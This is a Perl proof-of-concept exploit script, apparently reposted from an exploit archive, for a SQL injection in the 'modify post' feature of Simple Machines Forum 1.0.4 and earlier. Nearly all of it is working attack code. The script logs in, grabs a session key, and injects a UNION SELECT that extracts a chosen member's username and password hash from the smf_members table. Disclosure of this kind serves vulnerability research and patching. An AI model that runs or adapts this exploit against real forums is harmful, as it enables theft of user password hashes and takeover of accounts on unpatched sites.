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Simple Machines Forum <= 1.0.4 (modify) SQL Injection Exploit
============================================================= Simple Machines Forum <= 1.0.4 (modify) SQL Injection Exploit ============================================================= #!/usr/bin/perl -w ################################################################################ # SMF Modify SQL Injection // All Versions // By James http://www.gulftech.org # ################################################################################ # Simple proof of concept for the modify post SQL Injection issue I discovered # # in Simple Machine Forums. Supply this script with your username password and # # the complete url to a post you made, and have permission to edit. 06/19/2005 # ################################################################################ use LWP::UserAgent; if ( !$ARGV[3] ) { print "Usage: smf.pl user pass target_uid modify_url\n"; exit; } print "###################################################\n"; print "# Simple Machine Forums Modify Post SQL Injection #\n"; print "###################################################\n"; my $user = $ARGV[0]; # your username my $pass = $ARGV[1]; # your password my $grab = $ARGV[2]; # the id of the target account my $post = $ARGV[3]; # the entire url to modify a post you made my $dump = '%20UNION%20SELECT%20memberName,0,passwd,0,0%20FROM%20smf_members%20WHERE%20ID_MEMBER=' . $grab . '/*'; $post =~ s/msg=([0-9]{1,10})/msg=$1$dump/; my $path = ( $post =~ /^(.*)\/index\.php/) ? $1: die("[!] The post url you entered seems invalid!\n"); my $ua = new LWP::UserAgent; $ua->agent("SMF Hash Grabber v1.0" . $ua->agent); $ua->cookie_jar({}); print "[*] Trying $path ...\n"; my $req = new HTTP::Request POST => $path . "/index.php?action=login2"; $req->content_type('application/x-www-form-urlencoded'); $req->content('user=' . $user . '&passwrd=' . $pass . '&cookielength=-1'); my $res = $ua->request($req); print "[*] Logging In ...\n"; # When a correct login is made, a redirect is issued, and no # text/html is sent to the browser really. We put 1024 to be # safe. This part can be altered in case of modded installs! if ( length($res->content) < 1024 ) { print "[+] Successfully logged in as $user \n"; my $sid = $ua->get($path . '/index.php?action=profile;sa=account'); # We get our current session id to be used print "[*] Trying To Get Valid Sesc ID \n"; if ( $sid->content =~ /sesc=([a-f0-9]{32})/ ) { # Replace the old session parameter with the # new one so we do not get an access denied! my $sesc = $1; $post =~ s/sesc=([a-f0-9]{32})/sesc=$sesc/; print "[+] Valid Sesc Id : $sesc\n"; print "[*] Trying to get password hash ...\n"; my $pwn = $ua->get($post); if ( $pwn->content =~ />([a-z0-9]{32})<\//i ) { print "[+] Got the password hash!\n"; print "[+] Password Hash : $1\n"; } else { print "[!] Exploit Failed! Try manually verifying the vulnerability \n"; } } else { print '[!] Unable to obtain a valid sesc key!!'; exit; } } else { print '[!] There seemed to be a problem logging you in!'; exit; } # 0day.today [2024-09-17] #